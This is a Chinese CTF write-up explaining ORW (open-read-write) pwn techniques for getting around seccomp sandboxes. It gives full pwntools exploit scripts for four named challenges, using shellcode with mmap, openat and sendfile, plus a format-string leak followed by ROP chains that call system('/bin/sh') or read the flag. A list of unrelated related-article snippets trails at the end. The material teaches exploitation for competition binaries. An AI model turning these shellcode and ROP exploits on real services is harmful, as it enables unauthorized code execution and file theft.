[CTF]-PWN:ORW题型综合解析
经典ORW:
例题(极客大挑战 2019 Not Bad):


这里使用mmap函数创造了一个内存映射区域
从地址0x123000开始,大小位0x1000
权限为可写可执行(可读0x1,可写0x2,可执行0x3)
设置为私有映射(MAP_PRIVATE)和匿名映射(MAP_ANONYMOUS)
常见的标志的值:
MAP_SHARED:1MAP_PRIVATE:2MAP_ANONYMOUS:0x20 (32)MAP_FIXED:0x10 (16)MAP_LOCKED:0x2000 (8192)MAP_NORESERVE:0x4000 (16384)
将要映射的文件描述符设为-1,表示不关联任何文件
剩下的0指的就是偏移量了,没有偏移

这里首先初始化将所有系统调用禁用,并且后面使用seccomp_rule_add函数添加了可使用的系统调用。
根据64位系统调用号,分别是:
read:系统调用号为0
write:系统调用号为1
open:系统调用号为2
exit:系统调用号为60
因此系统调用exceve就没法用了。
解题思路:
我尝试在栈上构造shellcode,但是始终因为字节大小稍微大一点没法进行。所以只能将shellcode写入mmap所创建的空间中了,正好此空间可写可执行。
完整exp:
from pwn import*
context(log_level='debug',arch='amd64')
#p=process('./bad')
p=remote('node5.buuoj.cn',26264)
jmprsp=0x400A01
mmap=0x123000readmmap=asm(shellcraft.read(0,mmap,100))
callmmap=asm('''
mov rax,0x123000
call rax
''')
moversp=asm('''
sub rsp,0x30
call rsp
''')
payload=readmmap+callmmap
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmprsp)+moversp
p.sendlineafter(b'have fun!',payload)opens=asm(shellcraft.open('./flag'))
reads=asm(shellcraft.read(3,mmap,100))
writes=asm(shellcraft.write(1,mmap,100))
payload=opens+reads+writes
p.sendline(payload)p.interactive()
这里来解释一下部分exp
补充点1:reads=asm(shellcraft.read(3,mmap,100))这里为什么填3而不是0?
答:这个是文件描述符的知识点,在linux中系统会默认设置0,1,2三个文件描述符,而这三个文件描述符代表的分别是标准输入(就是我们从显示器输入的),标准输出,标准错误输出。在我们没有关闭任何一个文件描述符时,我们再打开一个文件,那就会使文件描述符3指向那个文件,以此类推。这里我们打开了flag,所以flag的文件描述符为3。当然为了省事,也可以写成reads=asm(shellcraft.read('rax',mmap,100))
补充点2:在写汇编代码时记得使用context标注系统位,比如64位。
补充点3:opens=asm(shellcraft.open('./flag'))在远程中要写./flag而不是仅仅flag而已。
禁用read:
用mmap代替read:
例题(VNCTF2024 shellcode_master):



在sandbox函数中,函数先使用了seccomp_init初始化,允许了所有系统调用,再用seccomp_rule_add来禁用掉了部分系统调用,其中包括execve和read
seccomp_init函数可以进行系统调用全禁用和全允许初始化
seccomp_rule_add函数可以运行或禁用部分系统调用
题目很明显地提示要使用shellcode,我们可以使用两种方式去编写shellcode
自己编写shellcode:
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
p=process('./shellcode')shellcode='''
push 0
push 0x67616c66
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,2
syscall
mov rdi,0x10000
mov rsi,0x100
mov rdx,1
mov rcx,1
mov r8,rax
mov r9,0
mov rax,9
syscall
mov rdi,1
mov rsi,0x10000
mov rdx,0x100
mov rax,1
syscall
'''
shellcode=asm(shellcode)
print(len(shellcode))
p.sendlineafter(b'show me your power',shellcode)
p.interactive()
用pwntools自带的shellcraft编写shellcode:
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
p=process('./shellcode')shellcode=asm(shellcraft.open('flag'))
shellcode+=asm(shellcraft.mmap(0x10000,0x100,1,1,'eax',0))
shellcode+=asm(shellcraft.write(1,0x10000,0x100))
p.sendlineafter(b'show me your power',shellcode)
p.interactive()
补充点1:mmap的初始地址是进程地址,在题目中mmap的初始地址需页对齐,即需为0x1000(4kb)的整数倍。即使在系统调用mmap那里没有页对齐系统也会自动对齐,只是当我们在mmap那边对齐之后,用write会方便一点。
补充点2:即使我们mmap的起始地址是0x1000,程序也会将文件内容读取到0x10000地址。
禁用open:
用openat代替open:
例题(NKCTF2024 Maimai查分器):


完整exp(远程打不通,本地可以):
from pwn import*
context(log_level='debug')
p=process('./maimai')
#p=remote('node.nkctf.yuzhian.com.cn',37717)p.sendlineafter(b'Select a option:',b'1')
p.sendlineafter(b'Input chart level and rank.',b'14')
p.sendline(b'SSS+')
for i in range(49):p.sendline(b'14')p.sendline(b'SSS+')
p.sendlineafter(b'Select a option:',b'2')
payload=b'%33$p'
p.sendlineafter(b'Input your nickname.',payload)
p.recvuntil(b'0x')
libc_start_main128=int((b'0x'+p.recv(12)),16)
print(libc_start_main128)
libc_start_main=libc_start_main128-128
libc=ELF('./libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
pop_rdi=libcbase+0x2a3e5
ret=libcbase+0x29139
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
p.sendlineafter(b'Can you teach me how to play maimai?',b'aa')
p.sendlineafter(b'Select a option:',b'2')
payload=b'%7$p'
p.sendafter(b'Input your nickname.',payload)
p.recvuntil(b'0x')
canary=int((b'0x'+p.recv(16)),16)
print(hex(canary))
payload=b'a'*0x28+p64(canary)+b'a'*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendlineafter(b'Can you teach me how to play maimai?',payload)p.interactive()
但是在比赛的时候,getshell之后根本没权限打开flag,所以只能考虑用orw直接读文件。
完整exp:
from pwn import*
context(log_level='debug')
p=process('./maimai')
#p=remote('node.nkctf.yuzhian.com.cn',37717)p.sendlineafter(b'Select a option:',b'1')
p.sendlineafter(b'Input chart level and rank.',b'14')
p.sendline(b'SSS+')
for i in range(49):p.sendline(b'14')p.sendline(b'SSS+')
p.sendlineafter(b'Select a option:',b'2')
payload=b'%33$p'
p.sendlineafter(b'Input your nickname.',payload)
p.recvuntil(b'0x')
libc_start_main128=int((b'0x'+p.recv(12)),16)
print(libc_start_main128)
libc_start_main=libc_start_main128-128
libc=ELF('./libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
pop_rdi=libcbase+0x2a3e5
pop_rsi=libcbase+0x2be51
pop_rdx_r12=libcbase+0x11f2e7
ret=libcbase+0x29139
system=libcbase+libc.sym['system']
reads=libcbase+libc.sym['read']
binsh=libcbase+next(libc.search(b'/bin/sh'))
p.sendlineafter(b'Can you teach me how to play maimai?',b'aa')
p.sendlineafter(b'Select a option:',b'2')
payload=b'%7$p%8$p'
p.sendafter(b'Input your nickname.',payload)
p.recvuntil(b'0x')
canary=int((b'0x'+p.recv(16)),16)
print(hex(canary))
p.recvuntil(b'0x')
onestack=int((b'0x'+p.recv(12)),16)
print(hex(onestack))
payload=b'/flag\x00'
payload=payload.ljust(0x28,b'a')
payload+=p64(canary)+b'a'*8+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(onestack+0x8)+p64(pop_rdx_r12)+p64(0x1000)+p64(0)+p64(reads)
p.sendlineafter(b'Can you teach me how to play maimai?',payload)
print(len(payload))
openat=libcbase+libc.sym['openat']
puts=libcbase+libc.sym['puts']
payload=p64(pop_rsi)+p64(onestack-0x70)+p64(pop_rdx_r12)+p64(0)*2+p64(openat)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(onestack-0x70)+p64(pop_rdx_r12)+p64(0x1000)+p64(0)+p64(reads)
payload+=p64(pop_rdi)+p64(onestack-0x70)+p64(puts)
p.sendline(payload)
p.interactive()
#补充点1:
payload+=p64(canary)+b'a'*8+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(onestack+0x8)+p64(pop_rdx_r12)+p64(0x1000)+p64(0)+p64(reads)
这里的的onestack+0x8是为了在之前构造的ROP链里接上新输入的ROP链
#补充点2:0x80的大小不足以读文件,所以要再次构建read函数,设置大的输入字节
#补充点3:openat函数必须要填入三个参数,
- 第一个参数:文件描述符,用于指定路径解析的起点。
- 第二个参数:文件路径名,要打开的文件的路径。
- 第三个参数:标志位,用于指定文件的打开方式和权限等信息。
这里文件描述符设置为0是表示在当前目录解析路径,标志位设置为0是用默认方式打开文件
禁用write:
用sendfile代替write:
例题(XYCTF2024 invisible_flag):



这里禁用了很多关键函数,只能全代替了。
用openat代替open,用mmap代替read,用sendfile代替write
完整exp:
from pwn import*
context(log_level='debug',arch='amd64')
p=process('./vuln')
p=remote('xyctf.top',44849)shellcode=shellcraft.openat(0,'/flag',0)
shellcode+=shellcraft.mmap(0x10000,0x100,1,1,'eax',0)
shellcode+=shellcraft.sendfile(1,3,0,0x100)
shellcode=asm(shellcode)
p.sendlineafter(b'show your magic again',shellcode)
p.interactive()
持续更新
相关文章:
[CTF]-PWN:ORW题型综合解析
经典ORW: 例题(极客大挑战 2019 Not Bad): 这里使用mmap函数创造了一个内存映射区域 从地址0x123000开始,大小位0x1000 权限为可写可执行(可读0x1,可写0x2,可执行0x3)…...
VSCode中yarn的安装和使用
VSCode只要是做前端的,大家都不陌生,就不讲其使用了。 Yarn是一款高效、可靠的JavaScript包管理器,与NPM类似,但有其独特的优势,如更高效的安装速度、更好的依赖管理等 要在VSCode中使用Yarn,需要按照以…...
Java后端面试复习7.23
进程和线程线程优先级线程状态线程构造方式三种推荐用哪种为什么线程中断调用什么方法,本线程怎检查为什么线程不应强制停止线程通信方式四种ThreadLocalFUtureTask线程礼让终止线程的另一个缺陷(锁)守护线程什么时候设置为守护县城sleep&…...
Arduino PID库 (2) –微分导致的过冲
Arduino PID库 (2) – Derivative Kick 参考:手把手教你看懂并理解Arduino PID控制库——微分冲击 pid内容索引-CSDN博客 Arduino PID库 (1)– 简介 问题 此修改将稍微调整derivative term。目标是消除一种称为“…...
基于强化学习算法玩CartPole游戏
什么事CartPole游戏 CartPole(也称为倒立摆问题)是一个经典的控制理论和强化学习的基础问题,通常用于测试和验证控制算法的性能。具体来说,它是一个简单的物理模拟问题,其目标是通过在一个平衡杆(倒立摆&a…...
uniapp0基础编写安卓原生插件和调用第三方jar包(Ch34的jar包)和如何解决android 如何Application初始化
前言 我假设你会uniapp安卓插件开发了,如果不会请看这篇文章,这篇文章是0基础教学。 这篇文章我们将讲一下如何使用CH34XUARTDriver.jar进行开发成uniapp插件。 它的难点是:uniapp如何Application初始化第三方jar包 先去官网下载CH340/CH341的USB转串口安卓免驱应用库:h…...
使用Leaflet进行船舶航行警告区域绘制实战
目录 前言 一、坐标格式转换 1、数据初认识 2、将区域分割成多个点 3、数据转换 4、数据转换调用 二、WebGIS展示空间位置信息 1、定义底图 2、Polygon的可视化 3、实际效果 三、总结 前言 通常而言,海事部门如海事局,通常会在所述的管辖区域内…...
用Ollama 和 Open WebUI本地部署Llama 3.1 8B
说明: 本人运行环境windows11 N卡6G显存。部署Llama3.1 8B 简介 Ollama是一个开源的大型语言模型服务工具,它允许用户在自己的硬件环境中轻松部署和使用大规模预训练模型。Ollama 的主要功能是在Docker容器内部署和管理大型语言模型(LLM&…...
计算机毕业设计选题推荐-学生作业管理系统-Java/Python项目实战
✨作者主页:IT研究室✨ 个人简介:曾从事计算机专业培训教学,擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Python…...
RIP实验
实验拓扑: 实验要求: R1-R2-R3-R4-R5:RIP 100 运行版本2 R6-R7:RIP 200 运行版本1 1.使用合理IP地址规划网络,各自创建环回接口 2.R1创建环回 172.16.1.1/24 172.16.2.1/24 172.16.3.1/24 3.要求R3使用R2访问R1环…...
手把手教你如何在宝塔上添加可道云登录页面的ICP备案信息,别跟权威开玩笑。
如何在宝塔上添加可道云登录页面的ICP备案信息 事情的原由来我们开始吧首先登录你的宝塔页面双击打开index.php文件保存退出即可 感谢大佬,希望对被查到的朋友有所帮助! 事情的原由 今天突然收到腾讯云发来的一封Email,说我需要整改我的网站…...
基于JSP技术的大学生校园兼职系统
你好呀,我是计算机学姐码农小野!如果有相关需求,可以私信联系我。 开发语言:JSP 数据库:MySQL 技术:JSPJavaBeans 工具:MyEclipse,Tomcat,Navicat 系统展示 首页 学…...
VSCode在windows系统下的配置简单版
参考链接 从零开始的vscode安装及环境配置教程(C/C)(Windows系统)_vscode搭建编译器环境-CSDN博客 vscode生成tasks.json、launch.json、c_cpp_properties.json文件_vscode生成launch.json-CSDN博客 自动生成配置文件简单方便!!! 运行c代…...
C++初学(9)
9.1、结构简介 虽然数组能够和存储多个元素,但所有元素必须相同,也就是说,同一个数组不能既存放int类型也存放float类型,而C的结构可以满足要求。结构是一种比数组更灵活的数据格式,因为同一个结构可以存储多种类型的…...
ardupilot开发 --- 网络技术综述 篇
不信人间有白头 一些概念参考文献 一些概念 以太网、局域网、互联网 以太网(Ethernet),是一种计算机局域网技术。以太网是一种有线网络技术,网络传输介质包括:以太网电缆,如常见的双绞线、光纤等。根据传输速度,可以氛…...
一文详解大模型蒸馏工具TextBrewer
原文:https://zhuanlan.zhihu.com/p/648674584 本文分享自华为云社区《TextBrewer:融合并改进了NLP和CV中的多种知识蒸馏技术、提供便捷快速的知识蒸馏框架、提升模型的推理速度,减少内存占用》,作者:汀丶。 TextBre…...
Go语言加Vue3零基础入门全栈班10 Go语言+gRPC用户微服务项目实战 2024年07月31日 课程笔记
概述 如果您没有Golang的基础,应该学习如下前置课程。 Golang零基础入门Golang面向对象编程Go Web 基础Go语言开发REST API接口_20240728Go语言操作MySQL开发用户管理系统API教程_20240729Redis零基础快速入门_20231227GoRedis开发用户管理系统API实战_20240730Mo…...
ChatGPT能代替网络作家吗?
最强AI视频生成:小说文案智能分镜智能识别角色和场景批量Ai绘图自动配音添加音乐一键合成视频百万播放量https://aitools.jurilu.com/ 当然可以!只要你玩写作AI玩得6,甚至可以达到某些大神的水平! 看看大神、小白、AI输出内容的区…...
Http自定义Header导致的跨域问题
最近写一个小项目,前后端分离,在调试过程中访问远程接口,出现了CORS问题,接口使用的laravel框架,于是添加了解决跨域的中间件,但是前端显示仍存在跨域问题,以为自己写的有问题,检查了…...
python 中 file.read(), file.readline()和file.readlines()区别和用法
python 中 file.read(), file.readline()和file.readlines()区别和用法 文章目录 python 中 file.read(), file.readline()和file.readlines()区别和用法1. file.read()2. file.readline()3. file.readlines()4. 总结5. 注意事项 file.read(), file.readline(), 和 file.readli…...
可靠性+灵活性:电力载波技术在楼宇自控中的核心价值
可靠性灵活性:电力载波技术在楼宇自控中的核心价值 在智能楼宇的自动化控制中,电力载波技术(PLC)凭借其独特的优势,正成为构建高效、稳定、灵活系统的核心解决方案。它利用现有电力线路传输数据,无需额外布…...
使用van-uploader 的UI组件,结合vue2如何实现图片上传组件的封装
以下是基于 vant-ui(适配 Vue2 版本 )实现截图中照片上传预览、删除功能,并封装成可复用组件的完整代码,包含样式和逻辑实现,可直接在 Vue2 项目中使用: 1. 封装的图片上传组件 ImageUploader.vue <te…...
【JavaSE】绘图与事件入门学习笔记
-Java绘图坐标体系 坐标体系-介绍 坐标原点位于左上角,以像素为单位。 在Java坐标系中,第一个是x坐标,表示当前位置为水平方向,距离坐标原点x个像素;第二个是y坐标,表示当前位置为垂直方向,距离坐标原点y个像素。 坐标体系-像素 …...
用docker来安装部署freeswitch记录
今天刚才测试一个callcenter的项目,所以尝试安装freeswitch 1、使用轩辕镜像 - 中国开发者首选的专业 Docker 镜像加速服务平台 编辑下面/etc/docker/daemon.json文件为 {"registry-mirrors": ["https://docker.xuanyuan.me"] }同时可以进入轩…...
【JavaWeb】Docker项目部署
引言 之前学习了Linux操作系统的常见命令,在Linux上安装软件,以及如何在Linux上部署一个单体项目,大多数同学都会有相同的感受,那就是麻烦。 核心体现在三点: 命令太多了,记不住 软件安装包名字复杂&…...
.Net Framework 4/C# 关键字(非常用,持续更新...)
一、is 关键字 is 关键字用于检查对象是否于给定类型兼容,如果兼容将返回 true,如果不兼容则返回 false,在进行类型转换前,可以先使用 is 关键字判断对象是否与指定类型兼容,如果兼容才进行转换,这样的转换是安全的。 例如有:首先创建一个字符串对象,然后将字符串对象隐…...
C/C++ 中附加包含目录、附加库目录与附加依赖项详解
在 C/C 编程的编译和链接过程中,附加包含目录、附加库目录和附加依赖项是三个至关重要的设置,它们相互配合,确保程序能够正确引用外部资源并顺利构建。虽然在学习过程中,这些概念容易让人混淆,但深入理解它们的作用和联…...
毫米波雷达基础理论(3D+4D)
3D、4D毫米波雷达基础知识及厂商选型 PreView : https://mp.weixin.qq.com/s/bQkju4r6med7I3TBGJI_bQ 1. FMCW毫米波雷达基础知识 主要参考博文: 一文入门汽车毫米波雷达基本原理 :https://mp.weixin.qq.com/s/_EN7A5lKcz2Eh8dLnjE19w 毫米波雷达基础…...
消防一体化安全管控平台:构建消防“一张图”和APP统一管理
在城市的某个角落,一场突如其来的火灾打破了平静。熊熊烈火迅速蔓延,滚滚浓烟弥漫开来,周围群众的生命财产安全受到严重威胁。就在这千钧一发之际,消防救援队伍迅速行动,而豪越科技消防一体化安全管控平台构建的消防“…...
【Linux】Linux安装并配置RabbitMQ
目录 1. 安装 Erlang 2. 安装 RabbitMQ 2.1.添加 RabbitMQ 仓库 2.2.安装 RabbitMQ 3.配置 3.1.启动和管理服务 4. 访问管理界面 5.安装问题 6.修改密码 7.修改端口 7.1.找到文件 7.2.修改文件 1. 安装 Erlang 由于 RabbitMQ 是用 Erlang 编写的,需要先安…...
